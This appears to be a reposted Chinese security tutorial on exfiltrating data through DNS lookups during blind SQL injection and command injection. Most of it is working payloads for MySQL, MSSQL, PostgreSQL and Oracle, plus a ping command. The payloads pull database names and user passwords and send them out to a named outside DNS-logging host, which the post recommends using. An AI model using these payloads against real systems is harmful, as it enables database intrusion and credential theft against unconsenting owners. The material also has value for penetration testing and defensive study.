Dnslog在SQL注入中的利用
參考文獻(xiàn):www.anquanke.com/post/id/98096
https://bbs.pediy.com/thread-223881.htm
DNSlog在Web攻擊的利用
在某些無(wú)法直接利用漏洞獲得回顯的情況下,但是目標(biāo)可以發(fā)起DNS請(qǐng)求,這個(gè)時(shí)候就可以通過(guò)DNSlog把想獲得的數(shù)據(jù)外帶出來(lái)。
常用情況
SQL注入中的盲注
 無(wú)回顯的命令執(zhí)行
 無(wú)回顯的SSRF
原理
1.jpg攻擊者提交注入語(yǔ)句,讓數(shù)據(jù)庫(kù)把需要查詢(xún)的值和域名拼接起來(lái),然后發(fā)生DNS查詢(xún),只要能獲得DNS的日志,就得到了想要的值。
- 推薦一個(gè)免費(fèi)的dnslog平臺(tái):http://ceye.io
 
1.命令執(zhí)行
ping %USERNAME%.xxxxxx.ceye.io
2.MySQL
load_file
 在MySQL中有個(gè)load_file()函數(shù)可以用來(lái)讀取本地的文件,load_file()函數(shù)還可以用來(lái)發(fā)送dns解析請(qǐng)求
以SQLi-LABS 第五關(guān)為例:
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+
payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
2.png
concat()函數(shù)拼接了4個(gè)\了,因?yàn)檗D(zhuǎn)義的原因,\\\\就變成了\\,目的就是利用UNC路徑。
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡(luò)驅(qū)動(dòng)器. UNC命名慣例最多被應(yīng)用于在局域網(wǎng)中訪(fǎng)問(wèn)文件服務(wù)器或者打印機(jī)。在Widnows中用共享文件的時(shí)候就會(huì)用到這種網(wǎng)絡(luò)地址的形式\\sss.xxx\test\
- Linux沒(méi)有UNC路徑這個(gè)東西,當(dāng)MySQL處于Linux系統(tǒng)中的時(shí)候,不能使用這種方式外帶數(shù)據(jù)的
 
3.msSQL
DECLARE @host varchar(1024); SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');4.postgreSQL
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();5.SQL Server
存儲(chǔ)程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內(nèi)部的子文件夾。
DECLARE @host varchar(1024); 注冊(cè)一個(gè)名為@host的變量,類(lèi)型為varchar。 SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io'; 獲取db_name()然后轉(zhuǎn)換成varchar類(lèi)型,然后吧獲取的db_name()返回值拼接到dnslog平臺(tái)給我們的子域名里面,然后賦值給@host變量。 EXEC('master..xp_dirtree "\\'+@host+'\foobar$"'); 列遠(yuǎn)程主機(jī)的foobar$目錄,由于是遠(yuǎn)程主機(jī),所以會(huì)做一個(gè)dns解析,這樣我們的dns平臺(tái)就能得到日志了 http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--6.Oracle
UTL_HTTP.REQUEST select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL; DBMS_LDAP.INIT select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL; HTTPURITYPE select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL; UTL_INADDR.GET_HOST_ADDRESS select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL; 創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
以上是生活随笔為你收集整理的Dnslog在SQL注入中的利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
                            
                        - 上一篇: 简单获取任意app的URL Scheme
 - 下一篇: 打游戏要存进度-备忘录模式